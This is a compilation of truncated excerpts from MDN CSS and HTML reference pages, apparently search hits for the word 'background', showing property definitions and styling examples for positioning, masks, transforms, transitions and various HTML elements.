background positioning area list-style-image the size of a 1em character border-image-source the size of the element's border image area cursor the br...
... accessibility concerns browsers do not provide any special information on
background images to assistive technology.
left - CSS: Cascading Style Sheets
om: 10px; right: 20px; </pre> <p>absolute position inside of a parent with relative position</p> </div> <div id="example_5"> <pre> position: absolute; right: 0; left: 0; top: 200px; </pre> <p>absolute position with both left and right declared</p> </div> </div> </div> css #wrap { width: 700px; margin: 0 auto;
background: #5c5c5c; } pre { white-space: pre; white-space: pre-wrap; white-space: pre-line; word-wrap: break-word; } #example_1 { width: 200px; height: 200px; position: absolute; left: 20px; top: 20px;
background-color: #d8f5ff; } #example_2 { width: 200px; height: 200px; position: relative; top: 0; right: 0;
background-color: #c1ffdb; } #example_3 { width: 600px; he...
...ight: 400px; position: relative; top: 20px; left: 20px;
background-color: #ffd7c2; } #example_4 { width:200px; height:200px; position:absolute; bottom:10px; right:20px;
background-color:#ffc7e4; } #example_5 { position: absolute; right: 0; left: 0; top: 100px;
background-color: #d7ffc2; } result specifications specification status comment css positioned layout module level 3the definition of 'left' in that specification.
mask-position - CSS: Cascading Style Sheets
formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for
background-position)computed valueconsists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <leng...
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting mask position css #wrapper { border: 1px solid black; width: 250px; height: 250px; } #masked { width: 250px; height: 250px;
background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: no-repeat; mask-position: top right; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="wrapper"> <div id="masked"> </div> </div> <select id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</option> <o...
mask-type - CSS: Cascading Style Sheets
"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px;
background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" widt...
...h=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px;
background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
mask - CSS: Cascading Style Sheets
hic used as mask with a width and height of 50px */ mask: url(masks.svg#star) repeat-x; /* element within svg graphic used as horizontally repeated mask */ mask: url(masks.svg#star) stroke-box; /* element within svg graphic used as mask extending to the box enclosed by the stroke */ mask: url(masks.svg#star) exclude; /* element within svg graphic used as mask and combined with
background using non-overlapping parts */ /* global values */ mask: inherit; mask: initial; mask: unset; /* multiple masks */ mask: url(masks.svg#star) left / 16px repeat-y, /* element within svg graphic is used as a mask on the left-hand side with a width of 16px */ url(masks.svg#circle) right / 16px repeat-y; /* element within svg graphic is used as a mask on the right-hand side with a width of...
...k-repeat: no-repeatmask-position: centermask-clip: border-boxmask-origin: border-boxmask-size: automask-composite: addapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shorthand:mask-position: refer to size of mask painting area minus size of mask layer image (see the text for
background-position)computed valueas each of the properties of the shorthand:mask-image: as specified, but with <url> values made absolutemask-mode: as specifiedmask-repeat: consists of two keywords, one per dimensionmask-position: consists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.mask-clip: as...
object-position - CSS: Cascading Style Sheets
areas of the box which aren't covered by the replaced element's object will show the element's
background.
... img { width: 300px; height: 250px; border: 1px solid black;
background-color: silver; margin-right: 1em; object-fit: none; } #object-position-1 { object-position: 10px; } #object-position-2 { object-position: 100% 10%; } the first image is positioned with its left edge inset 10 pixels from the left edge of the element's box.
offset-position - CSS: Cascading Style Sheets
for more explanation of these value types, see
background-position.
...[ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting initial offset position <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); offset-position: left top; animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px;
background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } specifications specification status comment motion path module level 1the definition of 'offset-position' in that specification.
outline-offset - CSS: Cascading Style Sheets
in other words, it is the same as the parent element's
background.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length formal syntax <length> examples setting outline offset in pixels html <p>gallia est omnis divisa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px;
background: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification.
overscroll-behavior-block - CSS: Cascading Style Sheets
html <main> <div> <div> <p><code>overscroll-behavior-block</code> has been used to make it so that when the scroll boundaries of the yellow inner box are reached, the whole page does not begin to scroll.</p> </div> </div> </main> css main { height: 3000px; width: 500px;
background-color: white;
background-image: repeating-linear-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } main > div { height: 300px; width: 400px; overflow: auto; position: relative; top: 50px; left: 50px; overscroll-behavior-block: contain; } div > div { height: 1500px; width: 100%;
background-color: yellow;
background-image: repeating-linear...
...-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px;
background-color: rgba(255,0,0,0.5); margin: 0; width: 340px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-block' in that specification.
overscroll-behavior-inline - CSS: Cascading Style Sheets
html <main> <div> <div> <p><code>overscroll-behavior-inline</code> has been used to make it so that when the scroll boundaries of the yellow inner box are reached, the whole page does not begin to scroll.</p> </div> </div> </main> css main { height: 400px; width: 3000px;
background-color: white;
background-image: repeating-linear-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } main > div { height: 300px; width: 400px; overflow: auto; position: relative; top: 50px; left: 50px; overscroll-behavior-inline: contain; } div > div { height: 100%; width: 1500px;
background-color: yellow;
background-image: repeating-linear...
...-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px;
background-color: rgba(255,0,0,0.5); margin: 0; width: 360px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-inline' in that specification.
paint() - CSS: Cascading Style Sheets
in this example, we passed two arguments: whether the
background-image on a group of list items is filled or just has a stroke outline, and the width of that outline: <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <li>item...
... 15</li> <li>item 16</li> <li>item 17</li> <li>item 18</li> <li>item 19</li> <li>item 20</li> </ul> css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); li { --boxcolor: hsla(55, 90%, 60%, 1.0);
background-image: paint(hollowhighlights, stroke, 2px); } li:nth-of-type(3n) { --boxcolor: hsla(155, 90%, 60%, 1.0);
background-image: paint(hollowhighlights, filled, 3px); } li:nth-of-type(3n+1) { --boxcolor: hsla(255, 90%, 60%, 1.0);
background-image: paint(hollowhighlights, stroke, 1px); } we've included a custom property in the selector block defining a boxcolor.
perspective-origin - CSS: Cascading Style Sheets
er: none; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective: 300px; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front {
background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back {
background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(196, 196, 0, 0.7); trans...
...form: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section {
background-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result specifications specification status comment css transforms level 2the definition of 'perspective-origin' in that specification.
perspective - CSS: Cascading Style Sheets
.cube { width: 100%; height: 100%; backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front {
background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back {
background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(196, 196, 0, 0.7); t...
...ransform: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td {
background-color: #eeeeee; padding: 10px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'perspective' in that specification.
place-items - CSS: Cascading Style Sheets
examples placing items in a flex container div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 {
background-color: #8cffa0; min-height: 30px; } #item2 {
background-color: #a0c8ff; min-height: 50px; } #item3 {
background-color: #ffa08c; min-height: 40px; } #item4 {
background-color: #ffff8c; min-height: 60px; } #item5 {
background-color: #ff8cff; min-height: 70px; } #item6 {
background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row ...
...ainer = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.placeitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); css #container { height:200px; width: 240px; place-items: center; /* you can change this value by selecting another option in the list */
background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } result specifications specification status comment css box alignment module level 3the definition of 'place-items' in that specification.
repeating-linear-gradient() - CSS: Cascading Style Sheets
for this reason, repeating-linear-gradient() won't work on
background-color and other properties that use the <color> data type.
... and <color-stop-length> = [ <percentage> | <length> ]{1,2} and <color-hint> = [ <percentage> | <length> ] examples zebra stripes body { width: 100vw; height: 100vh; } body {
background-image: repeating-linear-gradient(-45deg, transparent, transparent 20px, black 20px, black 40px); /* with multiple color stop lengths */
background-image: repeating-linear-gradient(-45deg, transparent 0 20px, black 20px 40px); } ten repeating horizontal bars body { width: 100vw; height: 100vh; } body {
background-image: repeating-linear-gradien...
right - CSS: Cascading Style Sheets
rresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and relative positioning using right html <div id="relative">relatively positioned</div> <div id="absolute">absolutely positioned</div> css #relative { width: 100px; height: 100px;
background-color: #ffc7e4; position: relative; top: 20px; left: 20px; } #absolute { width: 100px; height: 100px;
background-color: #ffd7c2; position: absolute; bottom: 10px; right: 20px; } result declaring both left and right when both left and right are declared, the element will stretch to meet both, unless other constraints prevent it from doing so.
... html <div id="parent">parent <div id="nowidth">no width</div> <div id="width">width: 100px</div> </div> css div { outline: 1px solid #cccccc; } #parent { width: 200px; height: 200px;
background-color: #ffc7e4; position: relative; } /* declare both a left and a right */ #width, #nowidth {
background-color: #c2ffd7; position: absolute; left: 0; right: 0; } /* declare a width */ #width { width: 100px; top: 60px; } result specifications specification status comment css positioned layout module level 3the definition of 'right' in that specific...
shape-image-threshold - CSS: Cascading Style Sheets
formal definition initial value0.0applies tofloatsinheritednocomputed valuethe same as the specified value after clipping the <number> to the range [0.0, 1.0].animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples aligning text to a gradient this example creates a <div> block with a gradient
background image.
...</p> css #gradient-shape { width: 150px; height: 150px; float: left;
background-image: linear-gradient(30deg, black, transparent 80%, transparent); shape-outside: linear-gradient(30deg, black, transparent 80%, transparent); shape-image-threshold: 0.2; } the shape is established here using
background-image with a linear gradient rather than an image file.
shape-outside - CSS: Cascading Style Sheets
the shape includes any curvature created by the border-radius property (behavior which is similar to
background-clip).
... </p> </div> css .main { width: 530px; } .left, .right { width: 40%; height: 12ex;
background-color: lightgray; } .left { -webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%); shape-outside: polygon(0 0, 100% 100%, 0 100%); float: left; -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%); clip-path: polygon(0 0, 100% 100%, 0 100%); } .right { -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%); shape-outside: polygon(100% 0, 100% 100%, 0 100%); float: right; -we...
text-decoration-color - CSS: Cascading Style Sheets
accessibility concerns it is important to ensure that the contrast ratio between the color of the text, the
background the text is placed over, and the text decoration line is high enough that people experiencing low vision conditions will be able to read the content of the page.
... color contrast ratio is determined by comparing the luminosity of the text and
background color values.
rotate() - CSS: Cascading Style Sheets
coordinates on ℝ3 homogeneous coordinates on ℝℙ3 cos(a)-sin(a) sin(a)cos(a) cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00sin(a)cos(a)0000100001 [cos(a) sin(a) -sin(a) cos(a) 0 0] examples basic example html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotate(45deg); /* equal to rotatez(45deg) */
background-color: pink; } result combining rotation with another transformation if you want apply multiple transformations to an element, be careful about the order in which you specify your transformations.
... html <div>normal</div> <div class="rotate">rotated</div> <div class="rotate-translate">rotated + translated</div> <div class="translate-rotate">translated + rotated</div> css div { position: absolute; left: 40px; top: 40px; width: 100px; height: 100px;
background-color: lightgray; } .rotate {
background-color: transparent; outline: 2px dashed; transform: rotate(45deg); } .rotate-translate {
background-color: pink; transform: rotate(45deg) translatex(180px); } .translate-rotate {
background-color: gold; transform: translatex(180px) rotate(45deg); } result specifications specification status comment css transforms level 1the definit...
scale() - CSS: Cascading Style Sheets
find out more: mdn understanding wcag, guideline 2.3 explanations understanding success criterion 2.3.3 | w3c understanding wcag 2.1 examples scaling the x and y dimensions together html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: scale(0.7); /* equal to scalex(0.7) scaley(0.7) */
background-color: pink; } result scaling x and y dimensions separately, and translating the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: scale(2, 0.5); /* equal to scalex(2) scaley(...
...0.5) */ transform-origin: left;
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scale()' in that specification.
scale3d() - CSS: Cascading Style Sheets
sx000sy000sz sx0000sy0000sz00001 examples without changing the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px);
background-color: pink; } result translating the origin of the transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px)...
...; transform-origin: left;
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'scale3d()' in that specification.
translate3d() - CSS: Cascading Style Sheets
100tx010ty001tz0001 examples using a single axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { /* equivalent to perspective(500px) translatex(10px) */ transform: perspective(500px) translate3d(10px, 0, 0px);
background-color: pink; } result combining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: per...
...spective(500px) translate3d(10px, 0, 100px);
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'translate3d()' in that specification.
<transform-function> - CSS: Cascading Style Sheets
tion> <option>translatey(100px)</option> <option>translatez(100px)</option> <option>translate3d(50px, 50px, 50px)</option> <option>perspective(200px)</option> <option>matrix(1, 2, -1, 1, 80, 80)</option> <option>matrix3d(1,0,0,0,0,1,3,0,0,0,1,0,50,100,0,1.1)</option> </select> </div> </main> css main { width: 400px; height: 200px; padding: 50px;
background-image: linear-gradient(135deg, white, cyan, white); } #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: ...
...#fff; } .front {
background: rgba(90,90,90,.7); transform: translatez(50px); } .back {
background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } .select-form { margin-top: 50px; } javascript const selectelem = document.queryselector('select'); const example = document.queryselector('#example-element'); selectelem.addeventlistener('change', () => { if(selectelem.value === 'choose a function') { ...
transform-style - CSS: Cascading Style Sheets
="checkbox" id="preserve" checked> </div> css #example-element { margin: 50px; width: 100px; height: 100px; transform-style: preserve-3d; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front {
background: rgba(90,90,90,.7); transform: translatez(50px); } .back {
background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(210,210,0,.7); transform: rotatex(90deg) ...
...translatez(50px); } .bottom {
background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } javascript const cube = document.getelementbyid('example-element'); const checkbox = document.getelementbyid('preserve'); checkbox.addeventlistener('change', () => { if(checkbox.checked) { cube.style.transformstyle = 'preserve-3d'; } else { cube.style.transformstyle = 'flat'; } }) result specifications specification status comment css transforms level 2the definition of 'transform-style' in that specification.
transition-timing-function - CSS: Cascading Style Sheets
d examples cubic-bezier examples <div class="parent"> <div class="ease">ease</div> <div class="easein">ease-in</div> <div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </div> .parent {} .parent > div[class] { width: 12em; min-width: 12em; margin-bottom: 4px;
background-color: black; border: 1px solid red; color: white; transition-property: all; transition-duration: 7s; } .parent > div.box1{ width: 90vw; min-width: 24em;
background-color: magenta; color: yellow; border: 1px solid orange; transition-property: all; transition-duration: 2s; } function updatetransition() { var els = document.queryselectorall(".parent >...
...2); } step examples <div class="parent"> <div class="jump-start">jump-start</div> <div class="jump-end">jump-end</div> <div class="jump-both">jump-both</div> <div class="jump-none">jump-none</div> <div class="step-start">step-start</div> <div class="step-end">step-end</div> </div> .parent {} .parent > div[class] { width: 12em; min-width: 12em; margin-bottom: 4px;
background-color: black; border: 1px solid red; color: white; transition-property: all; transition-duration:7s; } .parent > div.box1{ width: 90vw; min-width: 24em;
background-color: magenta; color: yellow; border: 1px solid orange; transition-property: all; transition-duration:2s; } function updatetransition() { var els = document.queryselectorall(".parent > d...
<url> - CSS: Cascading Style Sheets
urls can be used in numerous css properties, such as
background-image, cursor, and list-style.
... <a_css_property>: url("http://mysite.example.com/mycursor.png") <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) examples .topbanner {
background: url("topbanner.png") #00d no-repeat fixed; } ul { list-style: square url(http://www.example.com/redball.png); } specifications specification status comment css values and units module level 4the definition of '<url>' in that specification.
Used value - CSS: Cascading Style Sheets
the used values of shorthand properties (e.g.,
background) are consistent with those of their component properties (e.g.,
background-color or
background-size) and with position and float.
...the following are the css 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken from css 2.1 changes: specified, computed, and actual values):
background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (revision 2)the definition of 'used value' in that specification.
width - CSS: Cascading Style Sheets
ments, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie {
background: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and ems .px_length { width: 200px;
background-color: red; color: white; border: 1px solid black; } .em_length { width: 20em;
background-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measured in e...
...m</div> percentage .percent { width: 20%;
background-color: silver; border: 1px solid red; } <div class="percent">width in percentage</div> max-content p.maxgreen {
background: lightgreen; width: intrinsic; /* safari/webkit uses a non-standard name */ width: -moz-max-content; /* firefox/gecko */ width: -webkit-max-content; /* chrome */ width: max-content; } <p class="maxgreen">the mozilla community produces a lot of great software.</p> min-content p.minblue {
background: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla community produces a lot of great software.</p> specifications specification status comment css box siz...
Challenge solutions - Developer guides
solution the following values are reasonable approximations of the named colors: strong { color: #f00; /* red */
background-color: #ddf; /* pale blue */ font: 200% serif; } .carrot { color: #fa0; /* orange */ } .spinach { color: #080; /* dark green */ } p { color: #00f; /* blue */ } content add an image challenge add a one rule to your stylesheet so that it displays the image at the start of each line.
...the following script achieves the desired result: // javascript demonstration function dodemo (button) { var square = document.getelementbyid("square"); square.style.
backgroundcolor = "#fa4"; square.style.marginleft = "20em"; button.setattribute("disabled", "true"); settimeout(cleardemo, 2000, button); } function cleardemo (button) { var square = document.getelementbyid("square"); square.style.
backgroundcolor = "transparent"; square.style.marginleft = "0em"; button.removeattribute("disabled"); } svg and css change color of inner petals challenge...
HTML5 - Developer guides
performance and integration web workers allows delegation of javascript evaluation to
background threads, allowing these activities to prevent slowing down interactive events.
... new
background styling features it is now possible to put shadows on elements using box-shadow, multiple
backgrounds, and css filters.
Mobile Web Development - Developer guides
for example, if you set a gradient as a
background for some text using a vendor-prefixed property like -webkit-linear-gradient, it's best to include the other vendor-prefixed versions of the linear-gradient() property.
... if you don't do that, at least make sure that the default
background contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your linear-gradient rule.
<a>: The Anchor element - HTML: Hypertext Markup Language
<a href="" download="my_painting.png">download my painting</a> </p> <canvas width="300" height="300"></canvas> css html { font-family: sans-serif; } canvas {
background: #fff; border: 1px dashed; } a { display: inline-block;
background: #69c; color: #fff; padding: 5px 10px; } javascript var canvas = document.queryselector('canvas'), c = canvas.getcontext('2d'); c.fillstyle = 'hotpink'; function draw(x, y) { if (isdrawing) { c.beginpath(); c.arc(x, y, 10, 0, math.pi*2); c.closepath(); c.fill(); } } canvas.addeventlistener('mo...
... <body> <a href="#content">skip to main content</a> <header> … </header> <main id="content"> <!-- the skip link jumps to here --> .skip-link { position: absolute; top: -3em;
background: #fff; } .skip-link:focus { top: 0; } skip links let keyboard users bypass content repeated throughout multiple pages, such as header navigation.
<details>: The Details disclosure element - HTML: Hypertext Markup Language
css details { font: 16px "open sans", calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em;
background-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; } details > p { border-radius: 0 0 10px 10px;
background-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } this css creates a look similar to a tabbed interface, where clicking the tab opens it to reveal its contents.
... css details { font: 16px "open sans", calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em;
background-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; list-style: none; } details > summary::-webkit-details-marker { display: none; } details > p { border-radius: 0 0 10px 10px;
background-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } this css creates a look similar to a tabbed interface, where activating the tab expands a...
<input type="file"> - HTML: Hypertext Markup Language
m-data"> <div> <label for="image_uploads">choose images to upload (png, jpg)</label> <input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple> </div> <div class="preview"> <p>no files currently selected for upload</p> </div> <div> <button>submit</button> </div> </form> html { font-family: sans-serif; } form { width: 580px;
background: #ccc; margin: 0 auto; padding: 20px; border: 1px solid black; } form ol { padding-left: 0; } form li, div > p {
background: #eee; display: flex; justify-content: space-between; margin-bottom: 10px; list-style-type: none; border: 1px solid black; } form img { height: 64px; order: 1; } form p { line-height: 32px; padding-left: 10px; } form label, form button { ba...
...ckground-color: #7f9ccb; padding: 5px 10px; border-radius: 5px; border: 1px ridge black; font-size: 0.8rem; height: auto; } form label:hover, form button:hover {
background-color: #2d5ba3; color: white; } form label:active, form button:active {
background-color: #0d3f8f; color: white; } this is similar to what we've seen before — nothing special to comment on.
<input type="image"> - HTML: Hypertext Markup Language
<div> <input id="image" type="image" src="/static/external/62/62ac2ecddbec0e0b540098c28451e57203e5cab46dfed7ab0115d5a659fcfb7b.png" alt="login" width="200" height="100"> </div> </form> css div { margin-bottom: 10px; } label { display: inline-block; width: 70px; text-align: right; padding-right: 10px; } #image { object-position: right top; object-fit: contain;
background-color: #ddd; } here, object-position is configured to draw the image at the top-right corner of the element, while object-fit is set to contain, which indicates that the image should be drawn at the largest size that will fit within the element's box without altering its aspect ratio.
... note the visible grey
background of the element still visible in the area not covered by the image.
Standard metadata names - HTML: Hypertext Markup Language
the browser will use this information in tandem with the user's browser or device settings to determine what colors to use for everything from
background and foregrounds to form controls and scrollbars.
... only light indicates that the document only supports light mode, with a light
background and dark foreground colors.
<style>: The Style Information element - HTML: Hypertext Markup Language
<!doctype html> <html> <head> <style> p { color: white;
background-color: blue; padding: 5px; border: 1px solid black; } </style> <style> p { color: blue;
background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> including a media query in this example we build on the previous one, including a media attribute on the second <style> element so it is only applied when the viewpor...
... <!doctype html> <html> <head> <style> p { color: white;
background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue;
background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical summary content categories metadata content, and if the scoped attribute is present: flow content.
<textarea> - HTML: Hypertext Markup Language
other major browsers place the insertion point at the beginning of the text.notes a default
background-image gradient is applied to all <textarea> elements, which can be disabled using
background-image: none.ie full support yesopera full support yessafari full support yeswebview android full support yeschrome android ...
...other major browsers place the insertion point at the beginning of the text.notes a default
background-image gradient is applied to all <textarea> elements, which can be disabled using
background-image: none.opera android full support yessafari ios full support yesnotes full support yesnotes notes unlike other major browsers, a default style of opacity: 0.4 is app...
<th> - HTML: Hypertext Markup Language
bgcolor this attribute defines the
background color of each cell in a column.
...to create a similar effect use the
background-color property in css instead.
HTML documentation index - HTML: Hypertext Markup Language
69 <bgsound>: the
background sound element (obsolete) audio,
background sound, element, html, internet explorer, non-standard, obsolete, reference, web the internet explorer only html
background sound element (<bgsound>) sets up a sound file to play in the
background while the page is used; use <audio> instead.
..., html, link, link types, reference the prerender keyword for the rel attribute of the <link> element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the
background offscreen.
Inline elements - HTML: Hypertext Markup Language
first, some simple css that we'll be using: .highlight {
background-color:#ee3; } inline let's look at the following example which demonstrates an inline element: <div>the following span is an <span class="highlight">inline element</span>; its
background has been colored to display both the beginning and end of the inline element's influence.</div> in this example, the <div> block-level element contains some text.
...because the <span> element is inline, the paragraph correctly renders as a single, unbroken text flow, like this: for looks, this css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight {
background-color:#ee3; } block-level now let's change that <span> into a block-level element, such as <p>: <div>the following paragraph is a <p class="highlight">block-level element;</p> its
background has been colored to display both the beginning and end of the block-level element's influence.</div> the css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight {
background-color...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
